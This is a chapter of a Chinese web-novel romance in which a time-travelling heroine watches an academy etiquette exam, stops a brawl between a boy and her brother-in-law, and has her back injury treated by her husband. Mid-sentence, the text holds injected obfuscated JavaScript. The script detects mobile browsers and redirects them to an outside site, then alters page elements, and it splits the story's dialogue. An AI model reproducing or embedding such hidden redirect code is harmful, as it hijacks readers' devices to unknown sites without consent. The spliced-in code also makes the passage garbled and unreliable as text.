玄盛未发一言,静静地看着阿祇思索的侧颜,她眼下有疲惫的倦色,他心疼了。突然,他伸了个懒腰,收起笔墨,抱起阿祇就往床榻走去,阿祇挣扎,“等下,我还没做完。” 玄郎君双臂修长有力,阿祇在他怀中脸色泛红,不由想起昨夜。 “夫人,我错了。” 阿祇一愣,“好好的,道什么歉?” 玄盛道:“我已经考虑过了,你我已有夫妻之名,为夫不想搬去书房,但实在困乏。” 阿祇以为又是那套机关的说辞,绷着小脸,“我已经问过稷,书房的机关都是夫君亲自研制,安装之时夫君吃住在里头,不能再熟了,不然,我搬过去也可,刚好那边有纸墨……“ 玄盛已经将人放上床,帮她盖好被,半蹲在她的床榻前,看着她道:“那已是许久之前,书房阴冷,夫人定不忍心我一个人孤寂。” 阿祇与他对视,“我为何不忍心?夫君宣布让夫人独战群雄的时候,好像也没想着怜香惜玉吧?” 玄盛摇摇头,“自是没想。” “你说什么?”夫人的小脸气鼓鼓的。 “你的夫君,是想看夫人大杀四方。” 76. 打架 靖恭堂的六艺考试,这一日拉开序幕。 天光渐亮,早春早起的鸟儿真不少,大殿前的场地围了几圈人,睡了个好觉的辛夫人一身学子打扮,混不进前排,只好找了个清净的高处。在这里观看礼法比试,只见大多来自高门大族的子弟,莫不是清俊通脱,隽秀风流。 在阿祇看来,善礼法和书法的学子,偏文科生。善五射和五御的学子,是体育生。善六乐的学子,是艺术生。像她这样的学九数的学子,就是理科生。她唯一的优势是九数,争夺魁首的底气,除了来自现世考古和数学双学背景,还有就是几个月在商队作文书的经验。唉……与五艺魁首切磋,不过是个契机,不知道谁给她家夫君的信心,觉得她一定能大杀四方。 第一场礼法考试,考的是五礼中的宾礼。 五礼分为吉礼、凶礼、军礼、宾礼、嘉礼。宾礼,源自周天子款待来朝会的四方诸侯和诸侯派遣使臣问安的礼节仪式,这场比试考的是学子觐见朝堂,接待使臣的礼仪,叙述诸侯派系和世家谱系,繁文缛节,均需面面俱到。夫子考教与刁难,看学子如何化解。半场比试下来,礼仪出错者,淘汰;语出不合者,淘汰;紧张慌乱者,淘汰;无言以对者,淘汰……礼法,要的是学子们有宠辱不惊的谈定,至情至幸的风骨,甚至处世维艰的幽默。 十六国时期延续了魏晋士族的审美和风骨,风流名士的精神超俗,举手投足洒脱倜傥,阿祇有自我认知,靠实力水平硬碰硬,大概率她会输的很难看。 一个时辰不到,原本热热闹闹的靖恭堂大殿,大半学子已遗憾退场。然而,围观的人却不见少,随着比试进行到最后,反而人越发多了起来。 阿祇找了个石桌石凳,独坐在廊亭高处。 廊亭是通往尊长住处的回廊,这里没人打扰,还能看得清楚底下比试,想着中午不一定有时间回小厨房用餐,米耶用箱笼给她带了几碟糕点,山药和红枣蒸出的花朵,上面蜜糖点了花蕊,看起来就很令人心动,还有杏仁奶酥、豌豆糕,都是她拿手的小吃。 礼法的夫子很严苛,李暠和欧阳山长正在巡视,学子们更紧张了。 阿祇的注意力都在台上,学子行礼颇有魏晋名士之风,场面就像山水画一样,广袖青衫的学子空灵而隽逸,文化史上如此放旷自然的生命,鲜活的呈现在眼前。玄盛曾说:“形器不存,方寸海纳。有容乃大进退自如的气度,是学堂里教不来的,这既是读万卷书,不如行万里路了。” 阿祇叹息:“古人诚不欺我,心怀江湖的志士,仍行在庙堂之上。”她沉浸其中,没留意身旁有一只小手,伸进她的箱笼,抓起糕点就吃。 耳畔传来声音,含糊不清地说:“别看他们萧肃的装模做样,宽袍大袖都经久不洗,有不少的还生了虱子。”阿祇回头,正看见潭儿嘴巴鼓鼓的,吃得跟个松鼠似的,这个娃子自己上不了场,还在这边揶揄别人。 阿祇看不下去了,“嘴角有糕屑,伤口未愈,少吃些粘腻甜食。” 潭儿假装没听清,扫来委屈的眼神,眼角的泪痣让他看上楚楚可怜,“阿姊,今早都没给我送好吃的。”他这样子,有点像努尔怕被抛弃的神情,下一刻,阿祇盖上了糕点盒的盖子,递给他一个帕子,“自己擦干净,我这两日没有时间送饭,宋繇不是已经带饭给你了吗?” 潭儿擦擦嘴,“可是,他送的饭没你做的好吃。” “……饭,是我做的,只是没时间送而已。” 潭儿丝毫不觉得尴尬,“阿姊亲手夹的才好吃。” 阿祇头疼,小祖宗,是不是还要喂你啊。 正说着,又一个声音加入,“有什么好吃的?”回头一看,高大的年轻人大步流星,一屁股坐在他们中间,潭儿被挤了个踉跄,瞬间眼神阴霾,“你是什么人?” 年轻人剑眉星目,坦荡不羁,“你是李潭?家主的便宜儿子?哈哈,乖侄儿,我是你四叔父。”他着重强调了“叔父”二字,然后自顾自打开阿祇的箱笼,自己捡了块糕点,放进嘴里,“嗯,好吃,娘子,这是你做的?” 李瑾一向自来熟,潭儿姓不姓李无所谓,总之小屁孩得叫他叔父。 潭儿皱眉,这人好生无礼。 若阿姊尚未出阁,称辛娘子也不为过,但辈份上她是长嫂主母,虽然也作不长久的。李四郎抢了他的地方,又抢他的糕点吃,还与阿姊坐得那么近,潭儿攥紧拳头,冷冷道:“不许吃。” 李瑾恍若未闻,又拿起一块杏仁酥,在潭儿眼前晃了一圈,才咬了一口。谁也没想到,长得精致脆弱的瓷娃娃能伤人,没错,潭儿像只凶猛的小兽,突然跳到李瑾身上,抓挠抢夺,李瑾没有防备,生生被他挠出血痕,夺去手中的糕点,杏仁酥碎了一地渣。 “你,你疯啦!”李瑾脸上挂了花。 阿祇也没反应过来,待她冲上来拉架时,李瑾已经提着潭儿的衣领,将他甩了出去。潭儿跌坐在不远的地上,恶狠狠地瞪着李瑾,阿祇拦在中间,左手是李瑾,右手是潭儿,好在廊亭比较隐蔽,没被人看了热闹。 “吃了我的,都给我吐出来,不然你们就快点离开。” 阿祇一把拉起地上的潭儿,少年垂眸,手脚并用忽地缠上阿祇,“阿姊,他打我。”李瑾从来只有欺负别人的份,这么多年打架还没输过,“把你的爪子拿下来,臭小子,还当自己是三岁小儿不成?你四爷爷可不惯着。”说着,他就动起手来扯熊孩子。 怎么就又升辈分了?四爷爷,你把你家长兄置于何地。 阿祇被连累得直摇晃,她算是看明白了,没办法再好好看比试了。算算时辰,离乐艺比试还有一个时辰,不过为了实现五局三胜,她早决定放弃乐艺,九数明日就要开考。时间宝贵,“那个……快放手,你们要闹,别处闹去。” 在阿祇的性子里,是有些遇强则强的暴脾气的,果断转身,这两个人越发不像样子。一大一小扭打在一起,阿祇火气上涌,拎起潭儿,“有完没完?” “你个死孩子。” “为老不尊的丑家伙。” 潭儿被李瑾倒抗了起来,他扯着阿祇的衣襟不放,只听嘶一声,外衫居然被潭儿扯破了个口子,连白色的里衣都给扯歪了。潭儿趁低下头,朝李瑾的手臂狠狠咬了下去,疼得李瑾大叫就踹人。潭儿眼神一黯,丝毫不回避,阿祇迅速护在身后,李瑾那没轻没重的脚,顺势就踢到了她的后腰上。 阿祇闷哼,李瑾惊呼:“啊!娘,娘子……你没事吧?” 阿祇的眸子颤了颤,忍着疼,以迅雷不及掩耳之势,一个过肩摔将李瑾按在了地上,双手反扣潭儿的魔爪,拉下发髻上的丝带,三下五下绑了个结实。 混乱瞬间结束,阿祇的反击简单粗暴。 她整理了下松散的衣衫和头发,一回头愣住,也不知道什么时候廊亭处站了一票学子,抬着乐舞器具,瞪大眼睛,傻了。李家新老小霸王,被辛夫人给整治了,好暴力,这是他们能看的吗? 阿祇忽觉得头顶上方一黑,一件大氅从天上铺盖下来,裹在自己身上。 一只手悄然扶上她受伤的腰,阿祇对上眼神冰冷的李暠,不知谁发出一声惊呼,几个学子连忙躬身告退,乱哄哄地,乐器噼啪地滚落在地,欧阳山长的胡子险些气吹到头顶,他的宝贝古琴,本来就舍不得借给王夫子,若不是为了比试,唉,这下好了。 趴在地上的李瑾,刚想动一下,李暠沉声道:“再动,重罚!” 他说的重罚李瑾是听说过的,当年族中有个远房兄弟,为夺家产陷害胞弟,幸好没有铸成大错,那也在祠堂被公开处刑,鞭挞三十,皮开肉绽。李瑾不敢动了,他踢了娘子,好后悔,好心虚……另一个始作俑者,潭儿绷着脸被发带绑着,一言不发,姊姊教过他隐忍和伪装,这两日他却总是心慌,却越努力越错。 “三日后的休沐,你留在靖恭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447660|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂,不必回去了。” 李暠冷眼看向他,潭儿惊恐地睁大双眼,忙看向阿祇,好像在求她不要丢下自己。阿祇不忍,可后腰上有力的手,热度穿过衣服贴上痛处,玄盛的眸子认真,不容置疑,“先回去,我看看你的伤。” 提到伤,李瑾和潭儿都一僵。 欧阳山长暗瞪了一眼李暠,果真当学堂是你李家后院了,“宋繇,多加些护院,哼……再遇到打架的,先抓到柴房关上三天三夜。” 隐在暗处的宋繇,这才现身应道:“诺!” 欧阳山长胖墩墩的身子,碎步流星地先走了。宋繇垂眸,余光看着玄盛护着阿祇的影子,消失在远处,这才抬起头,回头看着地上的两个惹祸精,无奈地叹了口气。 山间小院。 阳光从正午偏移,清冷的屋子里灯火通明。 床榻上趴着衣衫半褪的辛夫人,纤细的腰肢露出一截,优美的腰臀曲线好像最美的远山,若非卷起来衣裳的地方青紫一片,眼前的画面还很是旖旎诱人的。受了伤的阿祇半扎起凌乱长发,双臂搭在枕头前的纸张上写写画画,全是数字和线条,潦草的模样像刚熬了个夜的监工。 玄盛拿着捣好的药,走来坐在窗前,看着她腰上的伤,好久没动静,感觉自己还是太仁慈了。 阿祇头也没回地说:“你还要看多久?长痛不如短痛,壮士,请下手。” 玄盛冰冷的手才刚一触及腰间,她倒抽一口凉气,玄盛冷着脸说:“还逞能?疼就喊出来。”阿祇回头看他,微微笑着道:“不疼,不疼,家主你可不要生气,是我不中用,居然没躲过背后偷袭,嘶……”他家夫君不客气地将药膏敷在了她的后腰,阿祇没忍住差点就叫了出来。 大手轻轻按摩让药性发挥,李暠自己受伤时都没这么用心调理过,“罚的太轻,应该连你一起。”阿祇赶紧握住身后骨节分明的大手,撒娇保命,玄盛满身药香,于是把他的手凑近鼻子前闻来闻去,“红花、麝香、冰片、乳香、儿茶……还有什么药材?” “末药和血竭,鼻子倒算好用。” 阿祇眼巴巴地捡好听的说:“哪有我家夫君厉害,你这方子回头借我抄写一份,说不定以后也能用得上。”玄盛刚舒展的眉头又要皱在一起,她忙又道:“我是说,这么好的药,以后多用在造福于民上。” “七厘散,散瘀定痛药效虽好,却不是寻常百姓用得起的。”阿祇见他的冷淡神情,就知他气还没消,索性撒起娇,“我明日考九数,后日还要与人切磋射御,这药也物有所值了。” 阿祇见他不说话,乖乖地趴回枕头上。 玄盛知道阿祇心中所想,不过是想他从轻发落他们,但他就是不提,甚至觉得之前是自己过于宽容,在男女之事上,阿祇也许是简单纯粹,但对他来说,却是得之不易,他缓缓开口道:“我族中子弟十四结亲,十五为父者众多,就算前朝汉文帝,在潭儿这个年纪也已有了第一个皇子。” 他家夫君,已近而立,正是立身处世之年。即便是连年逃婚的李瑾,在族中都是大龄单身青年了,怪不得他说家主这辈子大概不需要女人,“我今年二十,倒还觉得谈婚论嫁早了些,夫君若只为了要子嗣,怕也等不到遇见我。” 玄盛微笑不语,默默帮她敷好药,放下里衣,盖上被子。 片刻后,他才启口:“幸好,等到了。” 身后,她的夫君散开阿祇潦草的发髻,从一旁取来木梳,轻柔地帮她整理长发。温柔的动作,让阿祇不禁浮现“一梳梳到底,二梳白发齐眉”的画面,在古代也好,现代也好,温柔其实很可贵,贵在苦难的蹉跎,戾气的蛊惑,坚持的难得,温柔是种气质,温柔之下不乏有趣的灵魂,遇见就要万般珍惜。 她明白了他的意思,即便是李暠,大概也会患得患失,阿祇回眼相望,“幸好,我也等到了。” 长发如绸,肤如凝脂,巧笑倩兮,美目盼兮。